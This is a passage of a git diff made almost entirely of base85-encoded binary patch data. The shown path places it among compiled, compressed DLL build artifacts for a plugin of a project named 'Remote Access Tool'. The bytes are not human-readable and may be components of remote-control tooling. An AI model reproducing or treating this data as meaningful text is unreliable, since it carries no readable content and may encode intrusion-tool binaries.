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 literal 0 HcmV?d00001 diff --git a/Remote Access Tool/Plugins/Information/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed b/Remote Access Tool/Plugins/Information/obj/Release/Costura/7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed new file mode 100644 index 0000000000000000000000000000000000000000..1de34303e18a6ad3dc2586ac5021909e1e009b32 GIT binary patch literal 31377 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 